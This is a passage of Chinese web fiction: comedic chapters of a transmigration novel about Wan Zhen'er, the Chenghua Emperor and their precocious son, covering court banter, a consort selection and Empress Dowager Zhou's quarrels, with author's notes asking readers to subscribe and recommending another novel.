哦!还有那纪氏,就是大晚上在御花园把朱见深吓了个半死的小白花,也废了。并且还是朱见深亲自废的,万贞儿还没来得及出手做什么。 或许未来朱佑樘还会出生,但是吧,生母这回绝非纪氏。还有一个更加重要的前提,那就是万贞儿得确定自己的亲儿子朱佑棱,拥有无上的地位,谁都不能越过他,才会‘放开生育权’,让后宫其他女人生育。 万贞儿做过与未来有关的梦。醒来后,万贞儿并没有说出来,而是牢记在心头, 朱佑樘是在成化六年(公元1470年)出生的,现在成化三年夏,距离成化六年还有两年多的时间。 哦,忘了说,还有成化五年(公元1469年)出生的朱祐极 ,柏氏废了,纪氏没了但夏过秋来的时候,会进行三年一次的选秀。 朱见深四子朱祐杬、 五子朱祐棆等生母,便是成化三年选秀入的宫。柏氏废了纪氏没了,并不等于朱祐极,朱佑樘没法出生。换个生母便是。 这点万贞儿很清楚,她在帮忙处理完一大堆政务,当夜宿在乾清宫的时候,就在思索这个问题。 朱祐杬好像成化十二年(公元1476年)出生,朱祐棆则是成化十四年(公元1478年)出生。朱祐杬出生的时候,朱佑棱已经十岁了,太子地位稳固,其他皇子根本不具备危险。 所以 万贞儿慢慢思索着,却不想竟这样睡了过去。 第二天由于朱见深不必上早朝,朱见深这位已经20岁的皇帝,居然开始赖床,还跟万贞儿撒娇说,要哄哄抱抱才起来。 万贞儿自然使出浑身解数安抚撒娇的朱见深。 “昨儿未回安喜宫,不知鹤归有没有闹。”万贞儿笑语晏晏的说。“我啊一直忧心,睡得不是那么好。” 朱见深打着哈欠,趁势起来,早就侯在一旁的宫人赶紧上前伺候穿衣洗漱。 万贞儿倒是“趁机”坐到了梳妆镜钱,开始对镜贴起花黄,化起淡妆。 万贞儿在乾清宫有一间专门放置衣服鞋袜的房间。衣物都是九成新,今儿万贞儿穿了一身桃红色的对襟琵琶薄纱短袖衫配深红马面裙。 梳的发式,则是简单的随云发式,簪了喜鹊登枝金步摇,以及粉色配大红颜色的丝绢宫花。手上挽着淡粉颜色的玉镯,耳坠颜色也与之配套。为了相配,妆容方面也往桃花妆靠拢。 “高丽那边前几日上贡了品相不错的高丽参,朕让内务府送了一部分到贞姐那儿,余的才送往太医院。” 朱见深自己整理了一下发冠,突然问道。“贞姐看过没有,这高丽参和以往相比,感觉更像萝卜了。” 万贞儿点头,回答道:“看过了,的确挺像萝卜。” “高丽那边不会拿萝卜须子冒充高丽参来糊弄朕吧。”朱见深突然道,并且马上决定今儿要炖一支高丽参尝尝味儿。 万贞儿有些哭笑不得,只得道。“应该是不敢的。” “想来也是,应该不敢!”朱见深又道。“哦,对了还有那高丽布,贞姐看到没?” “看到了,我摸着面料很柔软,就拿来给鹤归做衣服。”万贞儿笑着道。“其实啊,夏天穿细葛布做的夏衫,才适合鹤归穿。鹤归太活泼了,自从会走路后,每天都闹着要走,又爱出汗,高丽布虽细软,却有点儿厚了。” 朱见深听着听着,居然吃起了味儿。 “贞姐!”朱见深撒娇道。“鹤归都有你亲手做的衣服,朕有多久都没收到贞姐你做的衣服了。” 万贞儿撇了一眼朱见深,意味深长的笑了起来。 “说我没给你做,那深郎身上穿着这一身常服,又是哪位手巧的女子做的?” 是的,朱见深穿的一身常服,包括鞋袜,都是万贞儿一针一线亲手缝制的。这是万贞儿的习惯,而是他们之间的默契,从万贞儿当初到了朱见深身边开始,朱见深的衣食住行就由万贞儿一手包办,已经成习惯。 有时候不做吧,反而觉得浑身不自在。不过有了朱佑棱后,倒让万贞儿对朱见深的注意力分薄了不少。 “自然是贞姐这样的巧女子做的。” 朱见深嬉笑,那双漂亮的丹凤眼里,皆是能让人沉溺其中的深情,如海。 “快走吧,别让鹤归在安喜宫等急了。” 万贞儿白了朱见深一眼,便让宫人安排撵轿。 很快,撵轿准备好了,却是御撵。朱见深丝毫不觉得有什么,直接拉着万贞儿与他同坐撵轿。 很快,撵轿抵达安喜宫,却听叽叽喳喳,仿佛鸟叫的声音响起。 万贞儿惊讶无比,还来不及多问,就见朱佑棱超级高兴的说。“娘,有鸟。” “你娘亲可没有鸟,有鸟的是你父皇。”朱见深凑过来,一把抱起朱佑棱颠了颠。“感觉又重了少许。” 朱佑棱:“” 当着他一个孩子的面,开什么黄腔! 朱佑棱直接一巴掌拍在朱见深的手臂上。 “喜鹊,掉下来,翅膀摔了。”朱佑棱解释鸟的问题。 万贞儿听了这话,挺惊讶的说。“有喜鹊坠枝,还被鹤归发现了?” “可不是嘛!”小翠接话将过程讲了一遍。“娘娘你是不知晓,天刚擦亮,小殿下就说外面有动静,要出来看。奴婢赶紧给小殿下穿好衣裳,抱着小殿下出来一看,外面果然有东西。” “想来是昨儿吹了夜风,导致树上的喜鹊窝砸下来,窝里的喜鹊也因此受伤,可巧被小殿下发现了。” 喜鹊窝从树杈上掉下来的位置,恰好就在那茉莉花丛中,不注意看根本发现不了。除了这只翅膀受伤的喜鹊外,还有几颗尚未孵化的鸟蛋,已经蛋碎黄飞。 朱佑棱发现受伤的喜鹊,很是惊讶,就让小红小翠准备鸟笼,他要养。 万贞儿:“要养也可以,只是鹤归啊,照顾喜鹊的事儿交给宫人,你可千万不要上手。这鸟到底野生的,野性难驯,要是啄你怎么办?” 朱佑棱呆萌的眨巴眼睛,乖巧的说。“娘,儿砸知道!” “记得朕小时候也养过宠物,可贞姐却让朕丢了。”朱见深不甘被冷落,再次挤了过来,还委屈的对万贞儿说。“怎么鹤归能养,朕却不能养。” 万贞儿:“” 朱佑棱很敏锐的注意到,万贞儿肉眼可见的变得暴躁起来。 “那是臣妾的错?”一般万贞儿在朱见深面前自称臣妾的时候,都表明万贞儿在生气。“深郎要不要好好回忆,你口中所谓的宠物到底是什么东西。” 朱见深:“就宠物啊!” “呵!”万贞儿黑着脸说。“臣妾活了这么大的岁数,还从来没有听说哪位皇帝,养耗子作为宠物的。” “那不是当时咱们住的地方,就老鼠蟑螂最多。”朱见深讪讪然的解释。“总不能养蟑螂作为宠物吧!” 万贞儿:“” 万贞儿的身子已经开始摇摇欲坠,显然无法接受自己深爱的小男人,小时候居然有过养蟑螂当宠物的想法。 她该庆幸朱见深最终选择养老鼠做为宠物,而不是蟑螂吗? 万贞儿一想到这个可能性,整张脸的色彩不再是黑,而是绿。 “深郎。”万贞儿几乎带着哭腔说话。“以后你和鹤归,对宠物的爱好保持一致行吗?” 朱见深赶紧扶住万贞儿,只差发誓诅咒说自己以后和朱佑棱的爱好保持一致,如果做不到,就让朱佑棱的小鸟飞了。 朱佑棱:“”—— 作者有话说:啦啦啦今天入V。我先更新8000,明天争取中午12点之前再来一章! 嘿嘿嘿!!! 俺知道读者大佬们都是爱崽的! 小团子朱佑棱高举牌子,求收藏求订阅还求留言! (づ ̄3 ̄)づ╭~爱你们喲! 第27章 第027章 总觉得这话有哪里不对!小…… 总觉得这话有哪里不对! 小亲爹最好说的是他捡到的, 这只受伤的喜鹊,而不是他的小小鸟。 不然 哼! 他一个月都不要理小亲爹! 宠物的话题,以朱见深的‘退让’宣布结束。此后的一段时间内,朱见深都挺小心翼翼的做人, 深怕又惹得万贞儿的伤心。 就这样, 时间一晃来到夏至秋初。本就凉爽的夏季一下子变得炎热起来, 说是因为24个秋老虎的缘故, 但真的气温挺反常的。 朱佑棱倒是知晓, 这是小冰川时代降临的预兆。历史上整个大明的中后期, 到清康熙年间, 都笼罩在小冰川时代的阴影下。 其实成化年间还好, 哪怕朱见深这位皇帝被史书说没有任何建树, 但实际上朱见深在政务上,还是颇有成干的。 最起码前期平稳,政治清明,后期上了年龄,加上心爱的万姐姐又丢下他走了, 自然就生无可恋, 导致政治腐败。 可这大部分,严格来讲,也是绝大部分大明官员的锅。 真的, 大明中后期的政治真的超级腐败,特别是明思宗当政时期, 真的全员逆臣,不像其他时期明朝皇帝,贪官污吏有,更有横空出世, 力挽狂澜的救国能臣。 小小的朱佑棱目前只需要专注成长,不必忧心朝政被搞得一谈糊涂,自己接手烂摊子的缘由,就是在这儿。 为期三年一届的选秀开始时,朱佑棱已经一岁半了。手脚麻利,吐字清晰,偶尔蹦出个新颖名词,那也是小亲爹招惹太厉害的缘故。 面对朱佑棱这个崽崽,朱见深说有多不正经,就有多不正经,常常惹得万贞儿哭笑不得,依然乐不疲此。 这不,这次三年一次的广则天下淑女的选秀活动开始后,朱见深全权交给万贞儿,就带着朱佑棱在一旁暗搓搓的围观,还不忘评头论足,完全没有将这些青涩有余,成熟不足的青葱少女当成人,而是美好的摆件,可以摆放到哪个宫哪个殿。 关键朱佑棱这小不点,不觉得哪点不对。朱见深说,他就在一旁点着小脑袋,那前几日才又剃了头发的小光脑圆润澄亮,如果有太阳的话,估计会反射光线,晃花人眼。而今日,恰好是阴天,有点儿闷热。 哪怕这对父子待在阴凉处,依然不一会儿的功夫,就有汗水浸透衣裳。 “鹤归啊,你说你的体质到底遗传了谁?”朱见深很纳闷的说:“看看你父皇,哪里像你一样,太阳一晒,汗水就跟小溪一样流淌。” “”朱佑棱沉默半晌,发出灵魂一问。“有没有一种可能,那是父皇你。” 朱见深:“???” “不可能,这绝对不可能。”朱见深反应过来,坚决否认这个事实。“只有儿子像父亲的,哪有父亲像儿子的。” 朱佑棱:“所以父皇这是承认了。” 朱见深摸摸脖子,未见有丝毫尴尬,挺自然的转移话题。“鹤归你看,那位穿杏白上衣配绿色马面裙的秀女,哈哈哈,好像蒜头花哦!” “蒜头花?水仙花吧!” 朱佑棱顺着朱见深手指的方向看了过去,深以为然的点着小脑袋。 别说,上半身杏白颜色的衣裳,下|半|身穿了条葱绿的马面裙,搭配起来,的确好像一株正在盛放的水仙花。 这显然是精心打扮过的,就为了给某位留下好印象,然鹅某位不解风情,所有的柔情都给了他的万姐姐,还大肆嘲笑,那‘哈哈哈’的魔幻笑声,穿透力还挺强悍的。不止高坐的万贞儿听到了,就连秀女同样如此。 那位被指像水仙花的秀女掩面哭泣,有作态的心理,更多的却是羞窘。如果不是害怕御前失礼,大概会直接掩面泪奔逃离。 万贞儿:“以后进了宫,穿搭不可如此随意。” 万贞儿怎么可能说朱见深,但她想,今后怕是不能直视杏白衣裳搭配绿色马面裙的穿搭了。 不,应该说除本身绿的衣服外,搭配其他颜色的衣裳,都容易想歪。因为花卉的叶子,基本都是绿色的。 谁知道朱见深见了这样的搭配,又会说出怎样的话语出来。 万贞儿揉揉太阳穴,让秀女们腿下面,顺便问‘窝’在一旁看热闹的父子俩有什么想法。 朱佑棱抬头望望苍穹,转而回望万贞儿,大大的眼睛写满无辜。 ——崽崽对父皇找小妈没什么看法! 万贞儿默了默,看懂了朱佑棱眼神想表达的意思后,果断再问了一遍朱见深的意思。 朱见深能有什么看法呢,如果有的话,他就不会像个事外人一样,带着儿子围观选秀,一点都没有过问的意思。 “德王(朱见潾 )和王妃侧王妃已经前往德州就藩,秀王(朱见澍 )、崇王(朱见泽 )、吉王(朱见浚 )三人,年龄相差无几,该大婚册立王妃、侧王妃,并和礼部商议就藩封地一事。” 万贞儿一听,倒是想起朱见澍这位朱见深登基之时,获封秀王的先帝爷第七子,比德王(朱见潾)小四岁。 朱见潾和朱见深同年大婚,朱见澍却被归到了朱见泽 、朱见浚那一波儿,等下次也就是这次的选秀再指正妃侧妃。 而这,其实也是后宫女主人的工作,该皇后出面揽事儿了。可惜王皇后鹌鹑一样,根本就不敢出面揽事儿,哪怕被殷勤侍奉的周太后几乎指着鼻尖骂没出息,但王皇后依然不敢出头。 索性万贞儿本身就抱着找个好控制,或者好生养的女子,生下朱佑极和朱佑樘。梦境中,万贞儿是打胎小能手,但现实还没有到梦境那边程度不是? 万贞儿深爱朱见深,如果不是深爱,在自己失去幼崽的情况下,又怎么会睁一只眼闭一只眼,让朱见深有那么多的子嗣呢! 说句良心话,依着万贞儿的狠辣,她要是想要朱见深绝后,未必不可能。 “到了年龄,是该大婚了。不过秀王殿下如今堪堪满十六,崇王殿下又比秀王殿下小三岁,如果不过十三岁,而吉王殿下就更小了,大婚的话,要再等一届秀女。” 朱见深在位时的第三次选秀,该成化六年举办。那时候,崇王(朱见泽 )十六岁、吉王(朱见浚 )十五岁,举行大婚的话,倒也合适。 现在的话,说实话,十三岁的年龄,算小了。 “这样啊。”顺着万贞儿的思路一想,朱见深就觉得自己想差了。即便再怎么想把底下的弟弟们踢走,也要按照实际年龄来。 不过“小五已经十六了,是时候大婚,确定就藩封地了。” 朱佑棱斜瞄小亲爹,只觉得这话里面还有一句深沉的意思是说,是时候卷铺盖滚蛋了,别留在紫禁城。 朱佑棱挠挠小光头,陷入思索中。 大明中后期,各地藩王数目庞大,为了养他们,地方财政已经寅支卯粮、入不敷出,哪里还有多余的钱财缴纳税收。 于是乎,只能将矛盾转嫁,将该向商人等阶级多增收的税款全部压下了平头老百姓。繁重的赋税,再加上不好的气候等因素,所以大明中后期,才时不时出现民乱的现象。 宗室那群真的被养成猪的家伙,如果成功撤藩,不知道给国库以及地方财政节省多少支出。 可惜了现在不是他当皇帝,而且即便他当皇帝,为政当初,也不好手段过于激烈,也得循环渐进。 所以现在哎,眼不见为净。 朱佑棱哼唧,突然开口说。“父皇觉得那朵水仙有趣。” 朱见深:“???” 没回过神的朱见深丈二和尚摸不着头脑,懵逼看向怀中坑爹的儿子。 “鹤归,你说啥?什么水仙花?” 万贞儿语气凉凉的‘帮忙’说:“就先前深郎哈哈笑穿着打扮像朵行走的水仙花的那位。” “哦,他啊!”朱见深不是很在意的道。“贞姐看着安排就行。反正其他女子对于朕来说,不过是碍于祖宗礼法开枝散叶的,万万比不了贞姐在朕心目中的地位。” 万贞儿定定打量朱见深片刻,继而一笑。 “瞧深郎说的话,外人传我蛇蝎心肠,我本性如何,深郎难道不知?”万贞儿说着,几乎红了眼眶儿。 “是!当初为了让我和深郎一块儿活下去,我的有些手段是狠辣了一点。但那不是被逼无奈?怎么外人说我,深郎还认为我容不下其他人?” “朕没有这个意思!” 朱见深赶紧给万贞儿道歉。“不管贞姐是好是坏,是善良还是狠辣,朕都爱。朕一直都知道,贞姐从始至终,为了朕付出良多。朕对贞姐的爱,哪有贞姐对朕的爱多。” 朱佑棱:“” 瞧瞧这对帝妃,又开始了! 大庭广众之下如此腻歪,让他这个小小人儿说什么好。 朱佑棱默默挪开视线,看向了花名册。 咦! 朱佑棱不敢置信的揉揉眼睛。 这些字,咋排列那么奇葩呢! 什么叫温柔妩媚柔弱多情,这样的形容词,确定是形容女子美好品德的? 这礼部的官员,还真个个都是人才。不像他,就认识这么几个字。 不过画像还挺好看,就是千篇一律,都是写意派画手画的。单从画像来看,根本看不出美丑来。 朱佑棱又把视线放在了怀恩公公身上,从一开始怀恩公公就很沉默,现在呢,察觉到朱佑棱的视线,怀恩公公直接对朱佑棱露出慈爱的微笑。 朱佑棱下意识的回以微笑,甜滋滋的,好像软糯的汤圆。 “父皇”朱佑棱开口说道。“松手。你爪子勒得我脖子疼。” 亲爹! 真的亲爹! 在和美人亲娘秀恩爱的时候,都没有把他随手丢了,就是吧,是用咯吱窝夹着他的。 朱佑棱本想自己扑腾离开束缚的,奈何小亲爹还是很有把子力气的,无奈的朱佑棱只能‘煞风景’的开口,让小亲爹赶紧把自己放开—— 作者有话说:OK啦!今天的更新结束,明天的话依然12点过了就更! 嘿嘿嘿! 再次打滚求新文的预收!【女帝之路,我走得很顺畅[快穿]】和大明神匠皇帝这本,看着收藏呗![狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 另外推荐姬友新文:【惨遭流放,但全家都有金手指】BY:温慕寒 文案:全家自驾游,结果惨遭车祸。 穿到古代成了被站错队的亲戚牵连流放的一家子。 正要绝望,霸道总裁妈突然发现自己力能抗鼎,一拳能揍死十个山匪。 古风区手工up的爸爸神农附体,砖缝里都能种出菜。 曾经的废物点心哥哥成了万兽迷,去哪都有野兽送上送上门。 而废物小点心的我有个连接了自家别墅的随身空间。 于是一家人便美滋滋的选择先苟住,借着金手指关起门来做个富家翁,结果还没流放到目的地,乱世了。 一块可以安全苟活的地方都没了。 霸道妈沉吟半晌,对全家人说:“王侯将相,宁有种乎?” 入坑指南: 1:全家穿,先流放,后逃荒种田,最后争霸 2:第三人称,女主是妹 3:妈妈登基,爸爸贤内助 第28章 第028章 “咦,鹤归,你什么…… “咦, 鹤归,你什么时候在朕的咯吱窝里?” 朱见深不愧是亲爹,丝毫不觉得是自己的问题,反而有种埋怨朱佑棱不早点提醒自己的架势。 朱佑棱瞪圆眼睛, 很不高兴的扭动身子。 ——老登儿, 快放开小小的老子! “父皇。”朱佑棱哭丧脸, 只差没冲万贞儿告状。“难受。” “深郎, 你赶紧将鹤归放下。” 万贞儿着急了, 赶紧上前‘解救’亲儿子。 朱佑棱一离开朱见深的咯吱窝, 顿时哭唧唧的扑向万贞儿。“娘亲, 父皇坏, 打他!” 还扯着万贞儿衣袖, 示意万贞儿去揍朱见深。 “嘿,你这臭小子,太过分了啊,居然唆使贞姐打朕。”万贞儿还没有反应呢,朱见深就闹腾起来, 大有挽衣袖揍崽的架势。 朱佑棱根本不虚, 还冲朱见深得意的哼了哼。 “我有娘保护,你没有!”朱佑棱特别坏心眼的说。 朱见深:“” “乱说什么。”万贞儿轻点朱佑棱的额头,哭笑不得的说。“你这样说, 要是传到你皇祖母的耳朵里,怕是要觉得你在咒他!” “可每次父皇有事, 保护父皇的都是娘亲啊!”朱佑棱表示自己是这个意思,让听到他先前说的话的人,都不要会错意了。 “小机灵鬼。” 又说笑几句,万贞儿就让小翠和小红将朱佑棱带走, 她和朱见深好商量此次进宫进哪些人。 朱见深身为皇帝,后宫不可能只有万贞儿一人。万贞儿心中很清楚,而且她从小受到的教育,都让万贞儿不会因为这,而难过。 当然,选秀女入宫还是要有技巧性。总不能选一些事儿精,没自知之明不说还见天的惹事。乖觉一点,家中没什么依靠,属寒门出生的秀女对比其他出生商户,或书香门第的秀女,要好控制得多。 万贞儿心中倾向于选这类型的秀女,面上要装出拈酸吃醋却又故作大方的姿态,询问朱见深的意思。 朱见深能有什么意思,瞧见万贞儿的做派,朱见深就心疼得不了,还会提出什么意见。就只是说,“一切贞姐做主就是。朕和贞姐那么深的感情,难道贞姐还要害朕不成。” “话说得这么好听,我啊,就信这么一回。” 其实这话,万贞儿只是说说而已,反正大差不差,即便朱见深不这样说,万贞儿还是会这样做。 她可不会因为一瞬间的心软,就让后宫出现祸害、哪怕这祸害对于她来说,其实并不算什么。 很快,万贞儿就从一沓的秀女资料中选出几名她觉得最合适入宫的秀女,末了还再问了朱见深的意思。 朱见深能有什么意思,自然还是只差赌咒发誓说他心中唯有万贞儿一人。不过说真的,选中的秀女到底长相如何,高矮胖瘦,朱见深通通不知道,也不想知道。反正选秀结束后,景阳宫并钟粹宫住进了五位秀女,份位才人。 朱佑棱倒是第一时间见了五位秀女,她们五人也是奇人,不去坤宁宫给王皇后请安,反而第一时间,来安喜宫请安。 刚巧朱佑棱正在吃蛋羹,自己动手,慢悠悠的用银勺子舀着吃。 万贞儿则在帮朱见深收拾整理着装。难得没上朝,朱见深都会睡懒觉,几乎日上三竿才行。今儿算是起的早,起来的时候天才亮了一会儿。 小红匆匆进殿,禀告说新进的五名才人正等在安喜宫殿外,等着请安。 万贞儿顿时乐了。 “她们这是想干嘛?”万贞儿很不客气的说。“本宫只是皇贵妃不是皇后,不去王皇后那儿请安,偏偏来本宫这儿,这是想陷本宫不义,好让前朝的人也知晓,本宫一直欺压王皇后,称霸后宫?” 其实一直以来都有万贞儿嚣张跋扈,不将王皇后放在眼里,甚至王皇后的传闻。但万贞儿不认,那就不是真的。 而显然,朱见深也是这样认为的。 并且万贞儿只是说了这么一段话,朱见深直接挥手说不见,让她们五人想请安就去找王皇后,如果王皇后不想找,那就去慈安宫伺候周太后 “正好母后说一天到晚看到王氏那张脸,看得烦了,索性进了5名新人,和王氏一起伺候母后,一周六天,母后还能剩一天自个儿待着,多好啊!” 万贞儿:“深郎,你真孝顺。” 朱见深得了夸奖,心情顿时美妙,也不来骚|扰朱佑棱了。朱佑棱这才算真正的了解,果然他‘带孝子’的天赋,是从小亲爹这儿遗传下来的。 就冲朱见深对周太后的孝顺劲儿,周太后没有被孝死,已经算周太后的福气很深厚了。 朱佑棱放下银勺子,慢吞吞的下桌,然后一路小跑,在大殿大门的位置停了下来。 哟!他的美人娘亲还真是颇具幽默感,5名新进的秀女,长相已经囊括了清秀、小家碧玉、清水芙蓉、甜美、美艳等五种。另外体型方面,也凑齐了高矮胖瘦中等五种体型。 朱佑棱手动阖上大张的嘴巴,转而背着手手走了。就这样儿,即便侍寝多半都不会有宠。就他小亲爹的德性,不会嫌弃,但绝对不会多看一眼。 5名新进才人,都被朱佑棱突如其来的举动弄懵了,你看我我看你,还来不及说话呢,就见小红出来将朱见深的意思说了。 这下子,5名新进才人更加懵逼。 “皇贵妃娘娘不见我们?可我们是王皇后打发来给皇贵妃娘娘请安的啊!” 一听这话,小红顿时高高的挑起眉梢。 “皇后娘娘乃正宫之主,我家主子只是皇贵妃而已,你们该去给皇后娘娘请安,而不是我家主子。正好这段时间,皇后娘娘都在伺候太后娘娘,五位小主正好跟皇后娘娘学学,怎么伺候太后娘娘。” “万岁爷说了,五位小主学好后,就和皇后娘娘轮流去慈安宫伺候太后娘娘。一人伺候一天,一周排六,剩余一天就让崇王(朱见泽)陪伴太后娘娘。” 崇王朱见泽,也是周太后生的,和朱见深的关系,不算好。主要还是周太后的锅。当初大明战神退位换其弟朱祁钰上位,朱见深的太子之位因此被废。 身为被废的太子,朱见深的处境并不好,当时的周太后有余力照顾朱见深,可偏偏周太后怕得罪朱祁钰影响到自己,就对朱见深视而不见听而不闻,活似没这个儿子。 后来夺门之变,朱祁镇重新登上皇帝的宝座,朱见深也被复立为太子。周太后想要挽回和朱见深之间的母子关系,已经迟了。 于是乎,周太后就搞出了个骚操作,疯狂疼爱小儿子朱见泽,成功将朱见深和朱见泽还算可以的兄弟情搞得支离破碎,只剩下丁点的面子情分。 对朱见泽这位同母弟弟,和其他的异母弟弟,朱见深讲究的是一视同仁,根本没有任何优待。而朱见泽呢,住在重华宫那边,就是清时代的所谓阿哥所,和慈安宫这边隔了好多道宫墙,朱见泽也就不怎么来慈安宫看望周太后。基本一周来一回,或者半个月来一回。 在朱见泽身上,周太后可谓是把偏心眼贯彻到底,小儿子不常常来看她,周太后不怪小儿子不孝顺,反而怪朱见深是自己的儿子,都是因为朱见深的存在,所以她才不能和小儿子住到一块儿。 完全忘了,她之所以成为太后,不是因为她是朱祁镇的原配,而是因为她生了朱见深,母凭子贵才登上太后的宝座。 什么都一股脑的怪罪到朱见深的头上,却忘了因朱见深的存在获利多少,所以这对母子俩感情差,简直不要太正常。 总之就是,朱见深习惯性将不顺眼的玩意儿,包括人都往周太后那边‘扔’。前有王皇后,后又有五名新进才人,并且最为重要的是,周太后深爱的小儿子,也被安排进了陪伴列表中。所以一周六人轮班,一天周太后休息,根本就是一周七日都有人陪伴,就问周太后高不高兴,欣不欣喜。 周太后得知朱见深的‘孝顺’行为,才不高兴才不欣喜呢!险些气炸了肝儿。 “这个不孝子,亏他还是皇帝呢,尽被万贞儿那老女人糊弄。”周太后将摆件一摔,就开始骂骂咧咧。 “哀家不管,哀家只要泽儿陪伴,让王氏还有她们5人给哀家滚蛋。” 不情不愿来到慈安宫陪伴周太后的朱见泽,一来就听到这样的话,顿时心中暗自叫苦。 ——亲娘啊,你不坑死儿子不罢休啊! ——还天天来慈安宫陪伴你呢! 朱见泽恨不得自己现在就年满十六,和秀王朱见澍一样,大婚后没隔几天,就收拾好行李屁颠屁颠的前往封地就藩。 也好过留在紫禁城,和异母弟弟们大眼瞪小眼,还时不时被亲娘拿来做PUA亲哥的工具人。朱见泽要是和朱佑棱那样,多半会做出‘QZJ’的姿势,无声呐喊放过他吧,他真的想跟当了皇帝的亲哥搞好关系啊! 朱见泽内心哭唧唧,面上也是红了眼眶。刚好周太后看到了,那叫一个心疼,赶紧拉着朱见泽进屋,心肝宝贝儿的叫个不停。 朱见泽擦掉眼泪,明知故问的说。“母后为何动怒?” 周太后顿时感到委屈,忙将缘由给朱见泽说了。 朱见泽:“皇兄让皇嫂领着才人来陪伴母后,是孝顺的举动,母后不该动怒的。免得传到皇兄的耳朵里,皇兄又要觉得母后乱发脾气了。” “哀家哪里是乱发脾气,哀家明明是有理有据的发脾气。”周太后强调说。“哀家只想泽儿陪伴在哀家的身边,哀家只恨不得只有泽儿这个儿子。” 朱见泽:“” ——要命,为什么他亲娘越上年龄越蠢呢! ——这样的话是能说的? 朱见泽想哭,但他艰难的稳住了,没有‘嗷’的一声哭出来,但难免带着鼻腔的说。“母后,以后这些话,就不要说了。我是母后的儿子,皇兄也是。” 必须强调这一点,不然还以为是他这个做弟弟的,为了争夺母爱,特意挑拨离间呢。天知道,独享的母爱太窒息,他一点都不想要独享啊! 坚强不哭的朱见泽又道。“这是皇兄的孝心,母后你就接受吧。再说了,儿子还要上书房读书呢,真的没时间常常来陪伴母后。” 周太后迟疑了,还不忘问。“泽儿真的没时间常常陪伴哀家,还是你那皇兄不想你常常陪伴母后。” 朱见泽:“” 别什么事情都扯到朱见深头上啊! 要死! 这不是,故意制造矛盾! 朱见泽憋不住,烦躁的用手捂脸。 “母后,儿子求你了,你不要再这样闹了,儿子真的没时间常常陪伴你。如果儿子年龄够了,可以大婚了,儿子也会让儿子的正妃侧妃来陪伴母后的。” 周太后:“” 估计是被自己偏心的小儿子堵得说不出来话吧,好半晌周太后才悻悻的说了一句:“知道了。” 朱见泽勉强松了一口气,开始和周太后聊起他学业上的事儿。 这其实是朱见泽故意的,因为周太后属于大字不识几个,还矫情说女孩子读书识字没好处。就连她的长女重庆公主 ,周太后也是同样的态度。 不怪重庆公主自从嫁人之后,就不愿意进宫陪伴周太后。主要周太后真的矫情又事儿逼。 不过随后的谈话,周太后和朱见泽都提到了重庆公主 ,而朱见泽呢,就顺势说自己有空就出宫看望重庆公主。 “看她干嘛?作为姐姐,不说常常进宫看望哀家这老母亲,也该帮忙照顾泽儿才是,可偏偏,她就和皇帝的关系好,一点都不为母后和泽儿你考虑。” 朱见泽:“” “不知道外甥们怎么样了。”朱见泽生硬的转移话题,“前几天阿姐刚生下儿子周孝,皇兄备下厚礼赏赐,说是周孝模样玉雪可爱,只比太子丑那么一点点。儿子很好奇,还想着哪天去公主府看望阿姐和外甥呢。” 周太后这回倒没有说什么,有什么好看的话,只说时候不早了,让朱见泽在慈安宫吃了再走。 朱见泽摇头拒绝,只说:“还有少许功课没有做完,儿子得回重华宫,将剩余的功课做完,免得明儿师傅问了,答不上来就糟糕了。” 事实上,明之一朝,对皇子的养成十分宽松,有时候连皇长子都采取的放养,不然也不会出现文盲皇帝了。 像师傅上完课留下的功课,做也好不做也罢,师傅都不会说什么,主打就是随便上课的皇子们如何。 在课堂之上,皇子们吃东西睡觉,那是常有的事情。相反,按时将师傅布置的功课做完,那才是少有的事情。 不过周太后并不知道,所以朱见泽就糊弄说话,免得真留下来陪周太后用膳,又要听她的一通抱怨。 周太后恋恋不舍,却舍不得打扰朱见泽‘认真学习’的态度,干脆就放了朱见泽走。可以说,朱见泽那是大大的松了一口气,等出了慈安宫,还将额头的冷汗给抹了。 朱见泽本想直接回重华宫,和几个异母弟弟们诉苦,没曾想,刚走了几步,就被怀恩公公手底下的小太监,请去了安喜宫。 朱见泽对此还能说什么呢,只能抹汗,心中哀叹不已的跟着小太监走。等到了安喜宫后,看着认真打量自己,把自己当成稀罕物件来看的朱佑棱,不免疑惑起来。 “不是皇兄唤我?” “六叔,是孤说的想看看孤传说中的亲六叔长什么样儿。” 传说中的亲六叔? 这话,怎么听起来那么别扭呢! 朱见泽咧嘴,尴尬而不失礼貌的微笑。“那太子,现在见了六叔,感觉如何?” “长得没父皇好看。”朱佑棱中肯的说。“六叔啊,你太黑了。” 朱见泽:“没办法,天生这样,我也不想的。” “可父皇和皇祖母都不黑啊。”朱佑棱开始猜测。“难道是皇祖母娘家人长得黑?” 朱见泽:“大概吧!” “咦,这种语气,莫非六叔也不知道!” 朱见泽很干脆的点头,又摇头。“母后未进宫前,听说外祖一家只是家中有几亩薄田的普通庄户人家。这庄户人家干惯了农活,每天风里来雨里去,太阳晒着,自然皮肤黝黑。至于到底是天生,还是晒的,我就不清楚了。” 朱佑棱若有所思起来,却是道。“六叔,你去皇祖母那儿没有挨骂吧!” 被冷不丁一问,显然朱见深有些懵然,下意识就摇头说没有。 朱佑棱顿时茶言茶语起来。 “好羡慕六叔你哦,不像孤和母妃,每天必会被皇祖母问候祖宗三代。” 朱见泽:“” 冷汗开始哗哗的流。万贞儿就算了,她姓万,算是嫁进皇家的。可朱佑棱他姓朱,是老朱家的血脉,周太后问候朱佑棱的祖宗三代,是觉得自己的太后位置坐得太轻松不想坐了? 别以为成了太后就高枕无忧,真作死太过,朱见深这位带孝子,完全可以替父休妻,废了周太后的太后之位。 “别听你皇祖母乱说,她啊得了癔症,就会胡言乱语。” 朱见泽毫不犹豫给周太后扣上蛇精病的名头。当然了,周太后的某些行为,真的很蛇精病的。 朱佑棱咯吱咯吱的笑了起来。 “六叔不要紧张啦,皇祖母如何,连孤这个孩子都知道,根本不必放在心上。”朱佑棱表现出‘智多近妖’的一面,口齿伶俐的说。 “父皇不是那种是非不分的人,而母妃也没必要针对皇祖母。” 朱见泽若有所思的点头,这下子才算真正的松了一口气。 “我知道了,多谢太子殿下提醒。”虽说给一个还不满两岁的孩童道谢,有种啼笑皆非的感觉,但朱见泽还是跟朱佑棱道谢了。 之后这对叔侄就没有说什么,很快朱见深和万贞儿相携从龙撵上下来,一进安喜宫就看到了朱见泽。 “六弟,你怎么在这儿。”朱见深很是惊讶的道。 “回禀皇兄,好让皇兄知晓,弟弟是去慈安宫看望母后,之后才来了安喜宫陪侄儿玩耍。” 朱佑棱也算给面子,当即点头承认朱见泽说得没错,就是那么一回事。 